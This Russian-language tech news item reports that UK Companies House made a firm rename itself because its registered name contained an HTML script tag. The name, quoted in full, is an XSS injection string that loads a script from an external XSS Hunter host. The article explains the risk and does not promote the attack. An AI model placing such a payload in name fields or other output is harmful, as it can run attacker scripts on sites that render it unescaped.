1 июля 2025

eur = 92.27 -0.01 (-0.01 %)

btc = 107 359.00$ - 191.28 (-0.18 %)

eth = 2 467.04$ 32.09 (1.32 %)

ton = 2.95$ 0.08 (2.75 %)

usd = 78.53 0.06 (0.08 %)

eur = 92.27 -0.01 (-0.01 %)

btc = 107 359.00$ - 191.28 (-0.18 %)

Британская компания с «опасным» HTML-тегом в названии была вынуждена его сменить

1 минута на чтение
Британская компания с «опасным» HTML-тегом в названии была вынуждена его сменить

Регистрационная палата Великобритании вынудила компанию “><SCRIPT SRC=HTTPS://MJT.XSS.HT> LTD”  изменить название, так как оно подвергало риску взлома ресурсы самой палаты и ее клиентов. Теперь фирма называется THAT COMPANY WHOSE NAME USED TO CONTAIN HTML SCRIPT TAGS LTD («Компания, в названии которой были HTML-теги»).

Как пишет The Guardian, компанию со столь оригинальным названием зарегистрировал британский инженер-программист, который посчитал, что элементы HTML-кода будут смотреться «забавно» в имени его консалтингового бизнеса. При этом он не думал о потенциальных рисках безопасности, к которым может привести такое название, хотя оно связано с вероятностью межсайтового скриптинга (XSS):

Правительственная цифровая служба (GDS) имеет хорошую репутацию в области безопасности, в прошлом были зарегистрированы и другие компании с похожими шутливыми названиями, поэтому я не думал, что это станет проблемой, ― рассказал директор компании, пожелавший остаться анонимным.

The Guardian отмечает, что любой сайт, который не смог бы должным образом обработать HTML-код, мог ошибочно решить, что название компании пустое, а затем загрузить и выполнить сценарий с помощью XSS Hunter — инструмента, который разработчики используеют для поиска ошибок, связанных с межсайтовым скриптингом. Этим могли бы потенциально воспользоваться киберпреступники.

Читать первым в Telegram-канале «Код Дурова»

Важные новости коротко — от GigaChat Max 
1-bg-изображение-0
img-content-1-изображение-0

GigaChat Max: коротко о главном

Как изменился Код Дурова вместе с GigaChat Max?

Узнай о всех возможностях в FAQ-статье 
2737c621-d628-4a44-9350-431fc416c777-изображение-0648c944a-47e1-4190-a7e4-00141e05901a-изображение-1

GigaChat Max: коротко о главном

Инсайдер: Apple разрабатывает 7 AR- и VR-устройств, которые выйдут в ближайшие четыре года

Полная версия 
a96a0e6a-3fe9-4b49-b564-965013b85900-изображение-0da98c41b-6488-405f-bad3-8e0963b48652-изображение-1

GigaChat Max: коротко о главном

В Китае провели футбольный матч между гуманоидными роботами

Полная версия 

Реализовано через GigaChat Max 

Сейчас читают
Карьера
Блоги 366
X5 Tech
Газпромбанк
билайн
Сбер
Т-Банк
МТС
Яндекс Практикум
Ozon Tech
Циан
Банк 131

Пользуясь сайтом, вы соглашаетесь с политикой конфиденциальности
и тем, что мы используем cookie-файлы